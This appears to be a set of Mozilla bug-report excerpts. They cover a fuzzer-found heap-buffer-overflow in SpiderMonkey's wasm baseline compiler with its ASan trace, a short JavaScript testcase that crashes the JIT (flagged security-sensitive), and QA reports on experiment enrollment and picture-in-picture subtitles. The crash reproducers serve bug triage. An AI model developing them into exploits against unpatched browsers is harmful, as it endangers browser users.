@Ed, could you please take a look over this issue?
**[Additional Notes]:**
- This issue is also reproducible with the "better-internet-c-rollout-global" spotlight.
- Attached a screen recording of the issue.
|
|
1,767,177 | 15,879,157 |
The attached testcase crashes on mozilla-central revision 20220427-139c89a60b72 (build with fuzzing-asan-opt, run with --no-threads --wasm-compiler=baseline).
Backtrace:
```
==13340==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250000278f8 at pc 0x55587aaa61df bp 0x7ffd201f9990 sp 0x7ffd201f9988
WRITE of size 4 at 0x6250000278f8 thread T0
#0 0x55587aaa61de in new_<js::wasm::Stk> /builds/worker/workspace/obj-build/dist/include/mozilla/Vector.h:58:30
#1 0x55587aaa61de in infallibleEmplaceBack<js::wasm::Stk> /builds/worker/workspace/obj-build/dist/include/mozilla/Vector.h:707:5
#2 0x55587aaa61de in push<js::wasm::Stk> /js/src/wasm/WasmBCStkMgmt-inl.h:44:8
#3 0x55587aaa61de in pushF64 /js/src/wasm/WasmBCStkMgmt-inl.h:544:3
#4 0x55587aaa61de in js::wasm::BaseCompiler::emitCatch() /js/src/wasm/WasmBaselineCompile.cpp:3958:9
#5 0x55587aad92b0 in js::wasm::BaseCompiler::emitBody() /js/src/wasm/WasmBaselineCompile.cpp:8465:9
#6 0x55587ab0e844 in emitFunction /js/src/wasm/WasmBaselineCompile.cpp:10192:8
#7 0x55587ab0e844 in js::wasm::BaselineCompileFunctions(js::wasm::ModuleEnvironment const&, js::wasm::CompilerEnvironment const&, js::LifoAlloc&, mozilla::Vector<js::wasm::FuncCompileInput, 8ul, js::SystemAllocPolicy> const&, js::wasm::CompiledCode*, mozilla::UniquePtr<char [], JS::FreePolicy>*) /js/src/wasm/WasmBaselineCompile.cpp:10364:12
[...]
#26 0x555878fc50ee in main /js/src/shell/js.cpp:12702:12
0x6250000278f8 is located 0 bytes to the right of 8184-byte region [0x625000025900,0x6250000278f8)
allocated by thread T0 here:
#0 0x555878f7333e in __interceptor_malloc /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:69:3
#1 0x55587aba3dc9 in mozilla::detail::VectorImpl<js::wasm::Stk, 0ul, js::SystemAllocPolicy, false>::growTo(mozilla::Vector<js::wasm::Stk, 0ul, js::SystemAllocPolicy>&, unsigned long) /builds/worker/workspace/obj-build/dist/include/mozilla/Vector.h:123:29
#2 0x55587aa862fa in reserve /builds/worker/workspace/obj-build/dist/include/mozilla/Vector.h:1071:9
#3 0x55587aa862fa in js::wasm::BaseCompiler::pushResults(js::wasm::ResultType, js::wasm::StackHeight) /js/src/wasm/WasmBaselineCompile.cpp:1154:15
#4 0x55587aaada2f in js::wasm::BaseCompiler::emitCall() /js/src/wasm/WasmBaselineCompile.cpp:4627:10
#5 0x55587aad9435 in js::wasm::BaseCompiler::emitBody() /js/src/wasm/WasmBaselineCompile.cpp:8507:9
#6 0x55587ab0e844 in emitFunction /js/src/wasm/WasmBaselineCompile.cpp:10192:8
[...]
#26 0x555878fc50ee in main /js/src/shell/js.cpp:12702:12
SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/workspace/obj-build/dist/include/mozilla/Vector.h:58:30 in new_<js::wasm::Stk>
Shadow bytes around the buggy address:
0x0c4a7fffcef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4a7fffcf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a7fffcf10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]
0x0c4a7fffcf20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4a7fffcf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Heap left redzone: fa
```
This was found by wasm-smith.
|
|
1,767,181 | 15,879,178 |
The following testcase crashes on mozilla-central revision 20220430-17796248a0e0 (opt build, run with --fuzzing-safe --ion-offthread-compile=off --ion-warmup-threshold=0 --baseline-eager):
function* a() {
try {
try {
yield;
} finally {
for (b = 0; b < 20; b++);
}
} catch ([]) {}
}
c = a();
c.next();
c.return();
Backtrace:
received signal SIGSEGV, Segmentation fault.
0x0000555555d51c02 in js::PrimitiveToObject(JSContext*, JS::Value const&) ()
#0 0x0000555555d51c02 in js::PrimitiveToObject(JSContext*, JS::Value const&) ()
#1 0x00005555560f8be3 in js::ToObjectSlowForPropertyAccess(JSContext*, JS::Handle<JS::Value>, int, JS::Handle<JS::Value>) ()
#2 0x0000555555ed08bd in js::jit::DoGetElemFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICFallbackStub*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::MutableHandle<JS::Value>) ()
#3 0x000026eeed551508 in ?? ()
[...]
#23 0x0000000000000000 in ?? ()
rax 0x5555564dcec3 93825008520899
rbx 0xfffa800000000002 -1548112371908606
rcx 0x55555765b068 93825026863208
rdx 0x5555564ee58c 93825008592268
rsi 0x7fffffffbd80 140737488338304
rdi 0x7ffff601e100 140737320706304
rbp 0x7fffffffbac0 140737488337600
rsp 0x7fffffffba20 140737488337440
r8 0x7fffffffbd88 140737488338312
r9 0x7fffffffbd80 140737488338304
r10 0x7fffffffbb70 140737488337776
r11 0xfff9800000000000 -1829587348619264
r12 0xffff800000000000 -140737488355328
r13 0x7ffff601e100 140737320706304
r14 0x1 1
r15 0x7ffff601e100 140737320706304
rip 0x555555d51c02 <js::PrimitiveToObject(JSContext*, JS::Value const&)+898>
=> 0x555555d51c02 <_ZN2js17PrimitiveToObjectEP9JSContextRKN2JS5ValueE+898>: movl $0x9e4,0x0
0x555555d51c0d <_ZN2js17PrimitiveToObjectEP9JSContextRKN2JS5ValueE+909>: callq 0x5555556f3660 <abort>
Marking s-s because this is a JIT-related failure.
|
|
1,767,266 | 15,881,363 |
Created attachment 9274652
ss of the issue.png
**[Affected versions]:**
- Firefox Beta 100.0 (RC build 2) - Build ID: 20220425210429
**[Affected Platforms]:**
- Windows 10 x64
- macOS 11.6.2
- Linux Mint 20.2 x64
**[Prerequisites]:**
- Have a Firefox build installed.
- Have the "[user.js](https://drive.google.com/file/d/1DLhuq5TMyztDuRRTawjE8iNIg5eNK6ye/view?usp=sharing)" file saved to your PC.
**[Steps to reproduce]:**
1. Open the browser using the profile from the prerequisites.
2. Navigate to the profile folder and paste the "user.js" file from the prerequisites.
3. Restart the browser and focus the "Browser Console".
4. Observe the displayed errors.
**[Expected result]:**
- No error is displayed and you are successfully enrolled in the experiment.
**[Actual result]:**
- A validation error is displayed and you are NOT enrolled in the experiment.
**[Notes]:**
- This issue is not reproducible if a force enrollment is performed instead of a natural one.
- Attached a screenshot of the error.
|
|
1,767,516 | 15,883,381 |
Created attachment 9274865
dHGScc3.png
Affected Platforms: All
STR:
1. Turn on subtitles in any Netflix video
2. Launch PiP
Expected result: subtitles track is displayed in PiP.
Actual result: subtitles track is displayed and duplicatedin PiP.
|
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